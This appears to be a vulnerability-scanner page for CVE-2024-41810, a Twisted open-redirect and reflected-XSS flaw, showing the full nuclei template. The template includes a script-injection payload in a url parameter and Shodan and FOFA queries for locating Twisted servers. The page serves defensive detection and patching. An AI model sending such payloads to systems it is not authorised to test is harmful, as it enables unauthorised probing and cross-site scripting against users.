Twisted - Open Redirect & XSS

mediumseverity

6.1CVSS score

1.2%likelihood of exploitation, next 30 days

69%of all CVEs are less likely

Readycheck to confirm it

Twisted is an event-based framework for internet applications, supporting Python 3.6+. The Twisted web framework's redirectTo function is vulnerable to reflected XSS if an attacker can control the redirect URL. This template tests for an open redirect and XSS vulnerability in the URL parameter. This vulnerability is fixed in 24.7.0rc1.

Impact

Attackers can exploit open redirect and reflected XSS via the redirect URL parameter in the Twisted web framework.

Fix

Update Twisted to version 24.7.0rc1 or later.

How to confirm it

Send: GET /
Positive when: contains in response "TWISTED_SESSION" or "[\"Twisted"
Send: GET {{BaseURL}}?url=ws://example.com/"><script>alert(document.domain)</script>
Positive when: contains in response "Location: ws://example.com/\"><script>alert(document.domain)…" AND contains in header "text/html" AND status 302

Run it with nuclei: nuclei -id CVE-2024-41810 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2024-41810

info:
  name: Twisted - Open Redirect & XSS
  author: KoYejune0302,cheoljun99,sim4110,gy741
  severity: medium
  description: |
    Twisted is an event-based framework for internet applications, supporting Python 3.6+. The Twisted web framework's redirectTo function is vulnerable to reflected XSS if an attacker can control the redirect URL. This template tests for an open redirect and XSS vulnerability in the URL parameter. This vulnerability is fixed in 24.7.0rc1.
  impact: |
    Attackers can exploit open redirect and reflected XSS via the redirect URL parameter in the Twisted web framework.
  remediation: |
    Update Twisted to version 24.7.0rc1 or later.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-41810
    epss-score: 0.01201
    epss-percentile: 0.68454
    cpe: cpe:2.3:a:twistedmatrix:twisted:*:*:*:*:*:*:*:*
  reference:
    - https://github.com/advisories/GHSA-cf56-g6w6-pqq2
    - https://nvd.nist.gov/vuln/detail/CVE-2024-41810
  metadata:
    max-request: 2
    shodan-query: html:'Twisted' html:"python"
    fofa-query: body="twisted" && "python"
  tags: xss,redirect,twisted,python,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    matchers:
      - type: word
        part: response
        words:
          - "TWISTED_SESSION"
          - '["Twisted'
        internal: true

  - method: GET
    path:
      - '{{BaseURL}}?url=ws://example.com/"><script>alert(document.domain)</script>'

    redirects: true
    matchers-condition: and
    matchers:
      - type: word
        part: response
        words:
          - 'Location: ws://example.com/"><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 302

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